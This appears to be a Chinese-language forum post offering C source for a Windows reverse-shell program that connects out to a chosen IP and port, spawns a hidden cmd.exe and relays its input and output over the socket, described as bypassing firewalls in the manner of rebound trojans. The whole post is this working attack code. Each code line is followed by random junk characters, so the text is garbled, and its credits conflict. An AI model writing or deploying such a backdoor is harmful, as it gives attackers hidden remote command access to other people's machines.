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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'CCAuN>J  
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/* ============================== ?b\oM v5y  
Rebound port in Windows NT Z=(Tq1t  
By wind,2006/7 qI*7ToBJ  
===============================*/ 0N_u6*@  
#include ku GaOO  
#include j8;Uny9  
X}`39r.  
#pragma comment(lib,"wsock32.lib") Uz%2{HB@{  
yacN=]SW5  
void OutputShell(); $ J!PSF8PL  
SOCKET sClient; piXL6V@c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #?'@?0<6  
;Swy5z0=ro  
void main(int argc,char **argv) 5. +_'bF|  
{ +-qa7  
WSADATA stWsaData; ^;wz+u4^l  
int nRet; 1wBmDEhS  
SOCKADDR_IN stSaiClient,stSaiServer;  7MQxW<0  
b;5 M$  
if(argc != 3) !1Nh`FN  
{ +NVXFjPC  
printf("Useage:\n\rRebound DestIP DestPort\n"); Cm9#FA  
return; 0U?(EJ  
} 5RyxVC0<  
/ACau<U]t  
WSAStartup(MAKEWORD(2,2),&stWsaData); >.-4CJ])d  
A+(+Pf U  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5aNvGI1  
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stSaiClient.sin_family = AF_INET; }4kQu#0o")  
stSaiClient.sin_port = htons(0); (W?t'J^#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y:Aha#<  
k\IdKiOj!D  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -#,4rN#  
{ 1P WTbd l  
printf("Bind Socket Failed!\n"); $Ww.^ym  
return; RSCQ`.  
} aI 1tG  
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stSaiServer.sin_family = AF_INET; ZtY?X- 4_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~Gl5O`w(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FT!Xr  
0 gR_1~3  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S }qGf%  
{ v ,zD52  
printf("Connect Error!"); 15d'/f  
return; dtig_s,)D  
} LQV&;O4'  
OutputShell(); (6&"(}Pai  
} O)D$UG\<  
w!-MMT4y  
void OutputShell() C9*[/|T  
{ X6xs@tgQ  
char szBuff[1024]; m@2=v q1f  
SECURITY_ATTRIBUTES stSecurityAttributes; |?TX^)  
OSVERSIONINFO stOsversionInfo; t+D= @"BZP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; . Ctd$  
STARTUPINFO stStartupInfo; h=^UMat-  
char *szShell; +'_ peT.8  
PROCESS_INFORMATION stProcessInformation; ,\N4tG1\  
unsigned long lBytesRead; ()5X<=i  
H~bbkql  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H3( @Q^9  
6W:FT Pt44  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); j1=su~  
stSecurityAttributes.lpSecurityDescriptor = 0; %!8w)1U  
stSecurityAttributes.bInheritHandle = TRUE; i`=%X{9  
O^@F?CG :1  
plpb4> S  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )&l5I4CIf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (L:Mdo  
$i1:--~2\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z+=-)&L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $:&b5=i  
stStartupInfo.wShowWindow = SW_HIDE; ElKMd  
stStartupInfo.hStdInput = hReadPipe; v Ov"^X  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @^GI :z  
s\p 1EL(  
GetVersionEx(&stOsversionInfo); tJmy}.t1  
uvJ&qd8M  
switch(stOsversionInfo.dwPlatformId) dA<_`GFR  
{ JL>DRIR%NV  
case 1: 00@F?|-j  
szShell = "command.com"; _7~q|  
break; x=kJl GT  
default: z m]R76  
szShell = "cmd.exe"; {a15s6'd  
break; g |H  
} dx+xs&  
5 ed|]LP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (LJ7xoJ^  
`ZT/lB`  
send(sClient,szMsg,77,0); JP^\   
while(1) *Ea)b -  
{ AQ,"):ofvT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i)$ySlEh  
if(lBytesRead) |>'q%xK  
{ pCC^Hxa  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Wr-I~>D%_  
send(sClient,szBuff,lBytesRead,0); A4Q{(z-?  
} 5rmQ:8_5  
else 0.2stBw  
{ {rn^  
lBytesRead=recv(sClient,szBuff,1024,0); N-q6_  
if(lBytesRead<=0) break; ~+V$0Q;L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i:jns>E  
} 'H#0-V"=  
} R<ORw]  
lCTXl5J5  
return; Zr=B8wuT  
}
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